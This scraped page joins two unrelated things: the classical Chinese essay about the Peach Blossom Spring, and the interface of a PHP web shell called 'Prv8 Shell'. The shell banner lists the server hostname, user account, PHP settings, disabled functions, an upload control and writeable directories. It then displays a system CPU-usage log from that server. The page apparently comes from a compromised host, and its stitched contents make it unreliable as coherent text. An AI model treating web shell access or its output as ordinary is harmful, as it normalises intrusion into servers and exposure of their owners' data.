晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/log/sa/sar06
Linux 4.18.0-553.47.1.el8_10.x86_64 (srv.rainic.com) 	2025-12-06 	_x86_64_	(10 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all     18.87      0.01      5.47      0.09      0.00      0.41      0.14      0.00      0.00     75.00
00:10:01          0     20.17      0.00      6.10      0.08      0.01      0.42      0.18      0.00      0.00     73.03
00:10:01          1     20.63      0.01      6.24      0.10      0.00      0.41      0.12      0.00      0.00     72.50
00:10:01          2     16.72      0.00      5.08      0.10      0.00      0.39      0.10      0.00      0.00     77.61
00:10:01          3     18.62      0.00      5.51      0.11      0.01      0.39      0.09      0.00      0.00     75.27
00:10:01          4     21.91      0.05      6.91      0.08      0.01      0.45      0.09      0.00      0.00     70.50
00:10:01          5     15.87      0.00      5.04      0.08      0.01      0.48      0.46      0.00      0.00     78.07
00:10:01          6     20.36      0.00      5.02      0.08      0.00      0.41      0.09      0.00      0.00     74.03
00:10:01          7     15.41      0.00      4.39      0.07      0.00      0.37      0.08      0.00      0.00     79.67
00:10:01          8     18.23      0.00      4.73      0.11      0.00      0.36      0.09      0.00      0.00     76.48
00:10:01          9     20.80      0.00      5.72      0.09      0.01      0.42      0.15      0.00      0.00     72.82
00:20:01        all     29.81      0.04      7.37      0.27      0.01      0.55      0.20      0.00      0.00     61.76
00:20:01          0     29.56      0.00      6.79      0.22      0.01      0.52      0.22      0.00      0.00     62.68
00:20:01          1     31.51      0.00      8.50      0.27      0.01      0.55      0.16      0.00      0.00     59.00
00:20:01          2     31.89      0.08      7.46      0.45      0.01      0.54      0.15      0.00      0.00     59.43
00:20:01          3     31.03      0.25      8.27      0.23      0.01      0.55      0.14      0.00      0.00     59.52
00:20:01          4     30.97      0.01      8.07      0.15      0.01      0.56      0.13      0.00      0.00     60.10
00:20:01          5     24.65      0.04      6.42      0.28      0.01      0.59      0.59      0.00      0.00     67.43
00:20:01          6     27.67      0.03      6.53      0.25      0.01      0.53      0.12      0.00      0.00     64.86
00:20:01          7     26.96      0.01      6.52      0.29      0.01      0.52      0.13      0.00      0.00     65.56
00:20:01          8     32.51      0.00      7.46      0.22      0.01      0.53      0.13      0.00      0.00     59.14
00:20:01          9     31.35      0.01      7.66      0.38      0.01      0.55      0.19      0.00      0.00     59.85
00:30:01        all     39.37      0.01      8.46      0.35      0.01      0.63      0.24      0.00      0.00     50.94
00:30:01          0     40.98      0.05      8.51      0.39      0.01      0.62      0.24      0.00      0.00     49.19
00:30:01          1     43.25      0.00      9.00      0.36      0.01      0.62      0.20      0.00      0.00     46.57
00:30:01          2     39.09      0.00      8.67      0.39      0.01      0.62      0.18      0.00      0.00     51.04
00:30:01          3     36.78      0.00      8.30      0.37      0.01      0.59      0.17      0.00      0.00     53.79
00:30:01          4     40.40      0.00      9.16      0.40      0.00      0.62      0.17      0.00      0.00     49.24
00:30:01          5     33.64      0.00      7.59      0.37      0.01      0.68      0.67      0.00      0.00     57.04
00:30:01          6     38.04      0.01      7.80      0.28      0.01      0.61      0.16      0.00      0.00     53.09
00:30:01          7     38.95      0.00      7.99      0.29      0.01      0.62      0.17      0.00      0.00     51.98
00:30:01          8     41.76      0.00      8.77      0.29      0.01      0.62      0.17      0.00      0.00     48.39
00:30:01          9     40.82      0.00      8.81      0.33      0.01      0.66      0.27      0.00      0.00     49.11
00:40:01        all     26.35      0.01      6.55      0.15      0.01      0.52      0.19      0.00      0.00     66.23
00:40:01          0     29.02      0.00      7.31      0.13      0.01      0.53      0.23      0.00      0.00     62.78
00:40:01          1     28.56      0.07      6.86      0.16      0.01      0.50      0.16      0.00      0.00     63.69
00:40:01          2     28.38      0.00      6.77      0.13      0.01      0.51      0.14      0.00      0.00     64.06
00:40:01          3     25.84      0.02      6.48      0.13      0.01      0.48      0.12      0.00      0.00     66.93
00:40:01          4     25.42      0.00      7.39      0.18      0.01      0.53      0.12      0.00      0.00     66.36
00:40:01          5     23.08      0.05      5.68      0.13      0.01      0.56      0.56      0.00      0.00     69.94
00:40:01          6     23.35      0.00      5.50      0.20      0.01      0.50      0.11      0.00      0.00     70.32
00:40:01          7     25.22      0.00      6.04      0.17      0.01      0.51      0.12      0.00      0.00     67.92
00:40:01          8     29.13      0.01      6.96      0.11      0.01      0.54      0.13      0.00      0.00     63.12
00:40:01          9     25.46      0.00      6.54      0.14      0.01      0.51      0.16      0.00      0.00     67.19
00:50:01        all     33.63      0.01      7.89      0.13      0.01      0.62      0.23      0.00      0.00     57.49
00:50:01          0     35.10      0.00      8.11      0.12      0.01      0.60      0.25      0.00      0.00     55.81
00:50:01          1     33.07      0.07      7.91      0.14      0.01      0.59      0.18      0.00      0.00     58.03
00:50:01          2     32.89      0.00      7.72      0.10      0.01      0.59      0.16      0.00      0.00     58.52
00:50:01          3     32.58      0.00      8.18      0.12      0.01      0.61      0.15      0.00      0.00     58.36
00:50:01          4     33.93      0.00      8.16      0.16      0.01      0.62      0.16      0.00      0.00     56.96
00:50:01          5     30.42      0.00      7.49      0.17      0.01      0.67      0.65      0.00      0.00     60.59
00:50:01          6     33.02      0.00      7.45      0.12      0.01      0.62      0.15      0.00      0.00     58.62
00:50:01          7     32.70      0.00      7.61      0.12      0.01      0.61      0.16      0.00      0.00     58.80
00:50:01          8     37.04      0.00      8.62      0.10      0.01      0.64      0.16      0.00      0.00     53.43
00:50:01          9     35.59      0.00      7.60      0.15      0.01      0.64      0.25      0.00      0.00     55.77
01:00:01        all     30.66      0.01      7.60      0.19      0.01      0.59      0.22      0.00      0.00     60.73
01:00:01          0     32.00      0.00      8.29      0.12      0.01      0.59      0.23      0.00      0.00     58.75
01:00:01          1     30.60      0.00      7.16      0.12      0.01      0.56      0.17      0.00      0.00     61.38
01:00:01          2     32.01      0.00      7.71      0.18      0.01      0.58      0.15      0.00      0.00     59.35
01:00:01          3     31.18      0.00      7.78      0.21      0.01      0.57      0.14      0.00      0.00     60.11
01:00:01          4     32.76      0.00      8.31      0.14      0.01      0.64      0.15      0.00      0.00     57.99
01:00:01          5     27.50      0.00      7.38      0.28      0.02      0.64      0.67      0.00      0.00     63.52
01:00:01          6     29.61      0.04      7.08      0.25      0.01      0.57      0.13      0.00      0.00     62.31
01:00:01          7     28.88      0.00      6.67      0.26      0.01      0.56      0.14      0.00      0.00     63.49
01:00:01          8     31.40      0.02      7.50      0.15      0.01      0.58      0.14      0.00      0.00     60.20
01:00:01          9     30.63      0.00      8.14      0.16      0.01      0.61      0.24      0.00      0.00     60.21
01:10:01        all     43.89      0.01      9.12      0.19      0.01      0.67      0.25      0.00      0.00     45.85
01:10:01          0     44.21      0.00      8.77      0.18      0.01      0.66      0.24      0.00      0.00     45.93
01:10:01          1     43.62      0.00      9.27      0.21      0.01      0.66      0.20      0.00      0.00     46.03
01:10:01          2     44.95      0.00      9.25      0.20      0.01      0.65      0.19      0.00      0.00     44.74
01:10:01          3     44.99      0.00      9.94      0.19      0.01      0.67      0.18      0.00      0.00     44.01
01:10:01          4     44.21      0.00      9.67      0.17      0.01      0.68      0.18      0.00      0.00     45.08
01:10:01          5     40.82      0.01      8.31      0.23      0.01      0.73      0.71      0.00      0.00     49.18
01:10:01          6     43.71      0.07      8.73      0.17      0.01      0.67      0.17      0.00      0.00     46.47
01:10:01          7     44.06      0.00      9.13      0.17      0.01      0.66      0.18      0.00      0.00     45.79
01:10:01          8     43.35      0.01      8.89      0.16      0.01      0.66      0.19      0.00      0.00     46.74
01:10:01          9     45.00      0.00      9.29      0.18      0.01      0.69      0.28      0.00      0.00     44.55
01:20:01        all     39.05      0.03      8.46      0.33      0.01      0.65      0.23      0.00      0.00     51.25
01:20:01          0     40.72      0.03      9.06      0.28      0.01      0.65      0.23      0.00      0.00     49.03
01:20:01          1     41.84      0.00      8.90      0.24      0.01      0.64      0.19      0.00      0.00     48.19
01:20:01          2     38.42      0.04      8.41      0.37      0.01      0.65      0.17      0.00      0.00     51.94
01:20:01          3     40.25      0.04      8.82      0.41      0.01      0.64      0.16      0.00      0.00     49.68
01:20:01          4     38.77      0.15      9.12      0.33      0.01      0.65      0.16      0.00      0.00     50.81
01:20:01          5     36.27      0.03      7.66      0.35      0.01      0.69      0.64      0.00      0.00     54.35
01:20:01          6     38.21      0.03      8.05      0.34      0.01      0.65      0.16      0.00      0.00     52.56
01:20:01          7     39.82      0.03      8.02      0.35      0.01      0.65      0.17      0.00      0.00     50.97
01:20:01          8     38.26      0.01      8.40      0.32      0.01      0.63      0.16      0.00      0.00     52.21
01:20:01          9     37.90      0.00      8.20      0.28      0.01      0.65      0.24      0.00      0.00     52.72
01:30:00        all     40.51      0.01      8.46      0.13      0.01      0.64      0.24      0.00      0.00     50.00
01:30:00          0     41.54      0.01      8.60      0.10      0.01      0.62      0.23      0.00      0.00     48.90
01:30:00          1     40.44      0.02      8.56      0.14      0.01      0.62      0.18      0.00      0.00     50.02
01:30:00          2     41.42      0.06      8.54      0.13      0.01      0.63      0.17      0.00      0.00     49.05
01:30:00          3     40.57      0.00      8.78      0.10      0.01      0.63      0.17      0.00      0.00     49.75
01:30:00          4     41.99      0.00      9.06      0.13      0.01      0.64      0.16      0.00      0.00     48.01
01:30:00          5     35.03      0.01      7.64      0.20      0.01      0.69      0.66      0.00      0.00     55.76
01:30:00          6     41.42      0.00      8.58      0.13      0.01      0.66      0.16      0.00      0.00     49.05
01:30:00          7     37.99      0.00      7.72      0.12      0.01      0.62      0.16      0.00      0.00     53.37
01:30:00          8     41.74      0.00      8.33      0.10      0.01      0.61      0.16      0.00      0.00     49.04
01:30:00          9     43.01      0.05      8.81      0.14      0.01      0.67      0.30      0.00      0.00     47.01
01:40:00        all     35.35      0.01      8.21      0.18      0.01      0.61      0.22      0.00      0.00     55.41
01:40:00          0     38.03      0.00      9.02      0.15      0.01      0.62      0.23      0.00      0.00     51.95
01:40:00          1     34.36      0.09      8.23      0.15      0.01      0.58      0.17      0.00      0.00     56.41
01:40:00          2     37.00      0.00      8.67      0.15      0.01      0.61      0.16      0.00      0.00     53.41
01:40:00          3     36.40      0.00      8.73      0.15      0.01      0.59      0.15      0.00      0.00     53.98
01:40:00          4     35.71      0.00      8.24      0.16      0.01      0.59      0.15      0.00      0.00     55.15
01:40:00          5     30.97      0.00      6.96      0.27      0.01      0.66      0.64      0.00      0.00     60.50
01:40:00          6     35.60      0.00      7.91      0.16      0.01      0.61      0.14      0.00      0.00     55.58
01:40:00          7     34.37      0.00      7.69      0.20      0.01      0.60      0.15      0.00      0.00     56.99
01:40:00          8     35.08      0.00      8.51      0.20      0.01      0.59      0.15      0.00      0.00     55.46
01:40:00          9     35.99      0.00      8.17      0.25      0.01      0.63      0.23      0.00      0.00     54.72
01:50:01        all     35.54      0.01      8.06      0.36      0.01      0.60      0.21      0.00      0.00     55.21
01:50:01          0     37.19      0.01      8.14      0.28      0.01      0.60      0.22      0.00      0.00     53.56
01:50:01          1     35.13      0.05      8.19      0.32      0.01      0.58      0.17      0.00      0.00     55.55
01:50:01          2     34.51      0.00      8.30      0.40      0.01      0.58      0.15      0.00      0.00     56.05
01:50:01          3     34.06      0.00      7.79      0.26      0.01      0.57      0.14      0.00      0.00     57.17
01:50:01          4     38.09      0.00      9.08      0.28      0.01      0.62      0.15      0.00      0.00     51.77
01:50:01          5     33.71      0.00      7.37      0.37      0.01      0.65      0.62      0.00      0.00     57.27
01:50:01          6     34.79      0.00      7.55      0.46      0.01      0.58      0.14      0.00      0.00     56.46
01:50:01          7     35.66      0.00      7.72      0.28      0.01      0.59      0.15      0.00      0.00     55.59
01:50:01          8     35.21      0.00      7.53      0.41      0.01      0.58      0.14      0.00      0.00     56.14
01:50:01          9     37.09      0.00      8.95      0.49      0.01      0.64      0.24      0.00      0.00     52.58

01:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all     32.99      0.01      8.00      0.11      0.01      0.58      0.21      0.00      0.00     58.10
02:00:01          0     33.32      0.00      7.89      0.08      0.01      0.55      0.23      0.00      0.00     57.93
02:00:01          1     33.15      0.00      8.21      0.10      0.01      0.56      0.17      0.00      0.00     57.80
02:00:01          2     33.19      0.00      8.37      0.09      0.01      0.58      0.15      0.00      0.00     57.61
02:00:01          3     32.03      0.00      8.46      0.10      0.01      0.56      0.14      0.00      0.00     58.71
02:00:01          4     32.68      0.01      7.86      0.10      0.01      0.58      0.14      0.00      0.00     58.61
02:00:01          5     31.49      0.05      7.77      0.13      0.01      0.65      0.59      0.00      0.00     59.30
02:00:01          6     33.88      0.00      7.52      0.16      0.01      0.56      0.15      0.00      0.00     57.72
02:00:01          7     30.93      0.00      7.44      0.11      0.01      0.57      0.14      0.00      0.00     60.81
02:00:01          8     36.35      0.03      8.51      0.14      0.01      0.59      0.15      0.00      0.00     54.24
02:00:01          9     32.91      0.00      7.94      0.08      0.01      0.58      0.23      0.00      0.00     58.24
02:10:01        all     25.74      0.01      6.67      0.16      0.01      0.55      0.19      0.00      0.00     66.67
02:10:01          0     26.51      0.00      6.72      0.15      0.01      0.54      0.22      0.00      0.00     65.84
02:10:01          1     28.80      0.01      7.58      0.15      0.01      0.55      0.16      0.00      0.00     62.74
02:10:01          2     23.35      0.00      6.39      0.20      0.01      0.51      0.13      0.00      0.00     69.40
02:10:01          3     25.96      0.00      7.46      0.15      0.01      0.54      0.13      0.00      0.00     65.76
02:10:01          4     29.56      0.00      8.16      0.18      0.01      0.60      0.13      0.00      0.00     61.37
02:10:01          5     22.95      0.00      5.85      0.22      0.02      0.61      0.52      0.00      0.00     69.83
02:10:01          6     24.56      0.00      6.34      0.15      0.01      0.53      0.12      0.00      0.00     68.28
02:10:01          7     23.11      0.00      5.46      0.14      0.01      0.51      0.13      0.00      0.00     70.64
02:10:01          8     25.47      0.00      6.43      0.15      0.01      0.54      0.13      0.00      0.00     67.26
02:10:01          9     27.13      0.05      6.37      0.15      0.01      0.55      0.19      0.00      0.00     65.55
02:20:01        all     33.84      0.02      8.08      0.30      0.01      0.63      0.23      0.00      0.00     56.90
02:20:01          0     35.36      0.00      9.15      0.23      0.01      0.63      0.25      0.00      0.00     54.35
02:20:01          1     32.02      0.02      7.89      0.33      0.01      0.61      0.18      0.00      0.00     58.95
02:20:01          2     35.40      0.00      8.48      0.29      0.01      0.62      0.17      0.00      0.00     55.03
02:20:01          3     33.98      0.01      8.21      0.26      0.01      0.63      0.16      0.00      0.00     56.74
02:20:01          4     36.58      0.03      9.13      0.32      0.01      0.64      0.16      0.00      0.00     53.12
02:20:01          5     29.93      0.00      6.79      0.31      0.01      0.67      0.63      0.00      0.00     61.65
02:20:01          6     34.13      0.09      7.79      0.35      0.01      0.61      0.15      0.00      0.00     56.87
02:20:01          7     32.90      0.05      7.45      0.28      0.01      0.61      0.17      0.00      0.00     58.53
02:20:01          8     33.80      0.00      7.58      0.36      0.01      0.63      0.15      0.00      0.00     57.48
02:20:01          9     34.28      0.00      8.33      0.25      0.01      0.63      0.24      0.00      0.00     56.25
02:30:01        all     46.95      0.01      9.96      0.86      0.01      0.72      0.30      0.00      0.00     41.19
02:30:01          0     47.33      0.00      9.80      1.15      0.01      0.71      0.29      0.00      0.00     40.71
02:30:01          1     48.31      0.00     10.23      0.90      0.01      0.71      0.22      0.00      0.00     39.61
02:30:01          2     47.47      0.00     10.20      0.74      0.01      0.71      0.21      0.00      0.00     40.65
02:30:01          3     46.98      0.04     10.01      0.98      0.01      0.69      0.20      0.00      0.00     41.09
02:30:01          4     48.56      0.00     10.52      1.11      0.01      0.73      0.22      0.00      0.00     38.85
02:30:01          5     42.92      0.01      9.40      0.88      0.01      0.79      0.82      0.00      0.00     45.17
02:30:01          6     47.94      0.00      9.69      0.58      0.01      0.72      0.21      0.00      0.00     40.84
02:30:01          7     45.16      0.03      9.34      0.92      0.01      0.70      0.21      0.00      0.00     43.63
02:30:01          8     46.58      0.00      9.98      0.83      0.01      0.72      0.21      0.00      0.00     41.68
02:30:01          9     48.23      0.00     10.44      0.55      0.01      0.74      0.36      0.00      0.00     39.66
02:40:01        all     60.09      0.01     11.63      1.82      0.01      0.84      0.33      0.00      0.00     25.28
02:40:01          0     60.89      0.00     12.05      2.05      0.01      0.84      0.27      0.00      0.00     23.89
02:40:01          1     60.38      0.01     11.56      1.91      0.01      0.83      0.23      0.00      0.00     25.08
02:40:01          2     59.05      0.00     12.03      1.96      0.01      0.82      0.24      0.00      0.00     25.88
02:40:01          3     60.22      0.02     11.77      1.64      0.01      0.82      0.23      0.00      0.00     25.29
02:40:01          4     60.59      0.00     11.76      1.96      0.01      0.84      0.23      0.00      0.00     24.62
02:40:01          5     56.88      0.00     11.22      1.91      0.01      0.92      0.99      0.00      0.00     28.06
02:40:01          6     59.10      0.02     11.61      1.91      0.01      0.84      0.24      0.00      0.00     26.27
02:40:01          7     60.89      0.02     11.31      1.63      0.01      0.81      0.25      0.00      0.00     25.09
02:40:01          8     61.71      0.00     11.45      1.51      0.01      0.84      0.23      0.00      0.00     24.25
02:40:01          9     61.18      0.00     11.52      1.69      0.01      0.86      0.37      0.00      0.00     24.39
02:50:01        all     63.88      0.01     12.18      1.41      0.01      0.85      0.34      0.00      0.00     21.33
02:50:01          0     64.78      0.01     12.62      1.51      0.01      0.85      0.28      0.00      0.00     19.94
02:50:01          1     64.38      0.05     12.43      1.46      0.01      0.83      0.26      0.00      0.00     20.59
02:50:01          2     64.68      0.01     12.46      1.15      0.01      0.83      0.26      0.00      0.00     20.62
02:50:01          3     63.23      0.01     11.98      1.29      0.01      0.81      0.24      0.00      0.00     22.44
02:50:01          4     63.22      0.01     12.34      1.55      0.01      0.84      0.24      0.00      0.00     21.80
02:50:01          5     60.91      0.00     11.82      1.72      0.01      0.94      1.03      0.00      0.00     23.57
02:50:01          6     64.21      0.00     11.75      1.29      0.01      0.82      0.25      0.00      0.00     21.68
02:50:01          7     64.00      0.00     11.81      1.37      0.01      0.83      0.26      0.00      0.00     21.73
02:50:01          8     64.81      0.00     12.30      1.24      0.01      0.85      0.25      0.00      0.00     20.54
02:50:01          9     64.59      0.00     12.26      1.55      0.01      0.87      0.38      0.00      0.00     20.35
03:00:01        all     57.64      0.01     11.18      1.26      0.01      0.83      0.30      0.00      0.00     28.77
03:00:01          0     58.29      0.04     11.21      1.16      0.01      0.82      0.27      0.00      0.00     28.21
03:00:01          1     56.25      0.00     11.20      1.31      0.01      0.82      0.24      0.00      0.00     30.18
03:00:01          2     57.57      0.00     11.14      1.57      0.01      0.81      0.23      0.00      0.00     28.67
03:00:01          3     58.28      0.01     11.50      1.33      0.01      0.82      0.23      0.00      0.00     27.82
03:00:01          4     57.23      0.00     11.64      1.63      0.01      0.82      0.22      0.00      0.00     28.45
03:00:01          5     55.24      0.00     10.58      1.60      0.01      0.90      0.83      0.00      0.00     30.84
03:00:01          6     58.20      0.01     10.80      1.07      0.01      0.82      0.23      0.00      0.00     28.87
03:00:01          7     58.56      0.00     11.01      0.81      0.01      0.82      0.23      0.00      0.00     28.56
03:00:01          8     57.90      0.00     11.47      1.05      0.01      0.84      0.23      0.00      0.00     28.49
03:00:01          9     58.88      0.01     11.21      1.09      0.01      0.86      0.32      0.00      0.00     27.62
03:10:01        all     51.10      0.01      9.94      0.51      0.01      0.72      0.27      0.00      0.00     37.45
03:10:01          0     50.26      0.01     10.24      0.58      0.01      0.71      0.25      0.00      0.00     37.94
03:10:01          1     51.72      0.00     10.44      0.49      0.01      0.72      0.21      0.00      0.00     36.42
03:10:01          2     50.85      0.00      9.79      0.57      0.01      0.70      0.20      0.00      0.00     37.88
03:10:01          3     50.37      0.00     10.07      0.52      0.01      0.70      0.19      0.00      0.00     38.15
03:10:01          4     52.24      0.00     10.42      0.51      0.01      0.73      0.20      0.00      0.00     35.89
03:10:01          5     50.02      0.01      9.66      0.39      0.01      0.79      0.77      0.00      0.00     38.35
03:10:01          6     51.25      0.00      9.54      0.44      0.01      0.71      0.19      0.00      0.00     37.87
03:10:01          7     51.39      0.07      9.67      0.60      0.01      0.72      0.20      0.00      0.00     37.36
03:10:01          8     52.78      0.00      9.76      0.49      0.01      0.71      0.19      0.00      0.00     36.07
03:10:01          9     50.12      0.00      9.83      0.46      0.01      0.75      0.29      0.00      0.00     38.53
03:20:01        all     48.24      0.04      9.74      0.49      0.01      0.70      0.26      0.00      0.00     40.51
03:20:01          0     49.58      0.03      9.99      0.37      0.01      0.69      0.25      0.00      0.00     39.08
03:20:01          1     49.23      0.03      9.45      0.46      0.01      0.68      0.20      0.00      0.00     39.94
03:20:01          2     48.06      0.03     10.15      0.62      0.01      0.68      0.19      0.00      0.00     40.27
03:20:01          3     45.94      0.03      9.58      0.58      0.01      0.67      0.18      0.00      0.00     43.02
03:20:01          4     48.11      0.04     10.32      0.73      0.01      0.70      0.19      0.00      0.00     39.89
03:20:01          5     46.04      0.08      9.30      0.44      0.01      0.76      0.80      0.00      0.00     42.57
03:20:01          6     49.76      0.05      9.72      0.50      0.01      0.68      0.18      0.00      0.00     39.10
03:20:01          7     48.82      0.09      9.73      0.36      0.01      0.69      0.19      0.00      0.00     40.10
03:20:01          8     50.11      0.07      9.70      0.48      0.01      0.71      0.18      0.00      0.00     38.75
03:20:01          9     46.78      0.00      9.48      0.40      0.01      0.72      0.28      0.00      0.00     42.34
03:30:01        all     52.59      0.08      9.25      0.50      0.01      0.74      0.28      0.00      0.00     36.55
03:30:01          0     53.09      0.05      9.04      0.49      0.01      0.73      0.25      0.00      0.00     36.36
03:30:01          1     53.80      0.05      9.49      0.50      0.01      0.72      0.21      0.00      0.00     35.22
03:30:01          2     50.51      0.05      9.08      0.50      0.01      0.70      0.19      0.00      0.00     38.97
03:30:01          3     52.99      0.34      9.65      0.58      0.01      0.73      0.19      0.00      0.00     35.51
03:30:01          4     53.91      0.10      9.45      0.35      0.01      0.74      0.19      0.00      0.00     35.26
03:30:01          5     49.39      0.09      9.06      0.53      0.01      0.82      0.89      0.00      0.00     39.21
03:30:01          6     52.61      0.09      8.95      0.49      0.01      0.72      0.19      0.00      0.00     36.93
03:30:01          7     52.44      0.03      9.16      0.36      0.01      0.72      0.20      0.00      0.00     37.09
03:30:01          8     52.36      0.04      8.95      0.57      0.01      0.74      0.18      0.00      0.00     37.16
03:30:01          9     54.83      0.01      9.66      0.61      0.01      0.77      0.33      0.00      0.00     33.79
03:40:00        all     46.90      0.01      8.71      0.59      0.01      0.74      0.27      0.00      0.00     42.77
03:40:00          0     46.74      0.07      8.57      0.61      0.01      0.73      0.24      0.00      0.00     43.04
03:40:00          1     47.90      0.00      9.00      0.54      0.01      0.73      0.20      0.00      0.00     41.63
03:40:00          2     46.94      0.01      8.86      0.41      0.01      0.72      0.19      0.00      0.00     42.87
03:40:00          3     49.48      0.01      9.16      0.52      0.01      0.72      0.19      0.00      0.00     39.91
03:40:00          4     48.28      0.00      9.01      0.64      0.01      0.72      0.19      0.00      0.00     41.15
03:40:00          5     42.76      0.00      8.52      0.69      0.01      0.81      0.81      0.00      0.00     46.41
03:40:00          6     46.04      0.01      8.34      0.66      0.01      0.72      0.18      0.00      0.00     44.03
03:40:00          7     45.19      0.00      8.27      0.62      0.01      0.72      0.19      0.00      0.00     44.99
03:40:00          8     47.87      0.00      8.74      0.66      0.01      0.74      0.18      0.00      0.00     41.79
03:40:00          9     47.81      0.00      8.67      0.55      0.01      0.77      0.30      0.00      0.00     41.90

03:40:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:02        all     41.11      0.01      7.46      0.76      0.01      0.60      0.24      0.00      0.00     49.83
03:50:02          0     41.24      0.00      7.59      0.79      0.01      0.60      0.26      0.00      0.00     49.51
03:50:02          1     41.52      0.01      7.72      0.59      0.01      0.58      0.20      0.00      0.00     49.38
03:50:02          2     41.33      0.00      7.38      0.82      0.01      0.58      0.18      0.00      0.00     49.70
03:50:02          3     41.83      0.00      7.39      1.01      0.00      0.58      0.17      0.00      0.00     49.02
03:50:02          4     41.77      0.06      7.50      0.95      0.01      0.59      0.17      0.00      0.00     48.96
03:50:02          5     39.10      0.00      7.53      0.75      0.01      0.66      0.65      0.00      0.00     51.30
03:50:02          6     39.91      0.00      6.91      0.59      0.01      0.59      0.16      0.00      0.00     51.84
03:50:02          7     39.21      0.00      7.08      0.88      0.01      0.59      0.17      0.00      0.00     52.06
03:50:02          8     40.28      0.00      7.53      0.42      0.01      0.59      0.17      0.00      0.00     51.00
03:50:02          9     44.87      0.00      7.96      0.80      0.01      0.64      0.25      0.00      0.00     45.48
04:00:00        all     45.75      0.01      7.84      0.65      0.01      0.61      0.26      0.00      0.00     44.87
04:00:00          0     45.36      0.00      7.67      0.62      0.01      0.60      0.26      0.00      0.00     45.48
04:00:00          1     44.64      0.00      7.73      0.58      0.01      0.59      0.19      0.00      0.00     46.25
04:00:00          2     44.98      0.01      7.84      0.49      0.01      0.59      0.19      0.00      0.00     45.90
04:00:00          3     45.54      0.00      7.82      0.70      0.01      0.60      0.19      0.00      0.00     45.14
04:00:00          4     45.09      0.04      7.71      0.63      0.01      0.59      0.18      0.00      0.00     45.74
04:00:00          5     41.56      0.01      7.48      0.84      0.01      0.67      0.72      0.00      0.00     48.71
04:00:00          6     49.15      0.03      8.45      0.62      0.01      0.63      0.19      0.00      0.00     40.92
04:00:00          7     45.20      0.00      7.57      0.60      0.01      0.59      0.18      0.00      0.00     45.85
04:00:00          8     46.09      0.00      7.64      0.69      0.01      0.62      0.17      0.00      0.00     44.79
04:00:00          9     49.90      0.00      8.51      0.74      0.01      0.65      0.30      0.00      0.00     39.89
04:10:00        all     33.79      0.05      6.43      0.27      0.01      0.55      0.21      0.00      0.00     58.69
04:10:00          0     33.80      0.00      6.46      0.21      0.01      0.53      0.24      0.00      0.00     58.75
04:10:00          1     35.68      0.05      6.67      0.28      0.01      0.53      0.17      0.00      0.00     56.61
04:10:00          2     35.09      0.00      6.62      0.24      0.01      0.53      0.16      0.00      0.00     57.35
